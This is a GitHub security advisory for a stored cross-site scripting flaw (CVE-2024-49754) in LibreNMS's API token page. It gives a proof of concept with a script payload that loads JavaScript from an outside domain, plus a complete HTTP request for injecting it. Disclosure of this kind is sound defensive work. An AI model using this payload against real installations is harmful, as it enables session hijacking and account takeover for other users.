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LibreNMS has a stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/api-access.inc.php

High severity GitHub Reviewed Published Nov 15, 2024 in librenms/librenms • Updated Dec 10, 2024

Package

composer librenms/librenms (Composer)

Affected versions

<= 24.9.1

Patched versions

24.10.0

Description

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the "token" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.

Details

The vulnerability occurs when creating a new API Token. An attacker can inject arbitrary JavaScript into the "token" parameter, which is then executed when the API Access page is visited. The payload is triggered twice—once in the "Token Hash" column and once in the "QR Code" column.

The payload used to exploit this vulnerability is: '"><script/src=//15.rs></script>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The vulnerability is due to insufficient sanitization of the "token_hash" variable before it is output in the HTML. This is evident in the following lines of code:

https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L152
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L153

PoC

  1. Create a new API token with the following payload in the "token" parameter: '"><script/src=//15.rs></script>
  2. Save the token.
  3. Navigate to the API Access page.
  4. Observe that the injected script executes twice, once in the "Token Hash" column and once in the "QR Code" column.
POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>

_token=<your_token>&user_id=1&token='"><script/src=//15.rs></script>&description=t'"><script/src=//15.rs>&type=token-item-create

Impact

The vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. This can lead to account compromise and enable unauthorized actions on behalf of the impacted users.

References

@murrant murrant published to librenms/librenms Nov 15, 2024
Published to the GitHub Advisory Database Nov 15, 2024
Reviewed Nov 15, 2024
Published by the National Vulnerability Database Nov 15, 2024
Last updated Dec 10, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L

EPSS score

0.045%
(16th percentile)

Weaknesses

CVE ID

CVE-2024-49754

GHSA ID

GHSA-gfwr-xqmj-j27v

Source code

Credits

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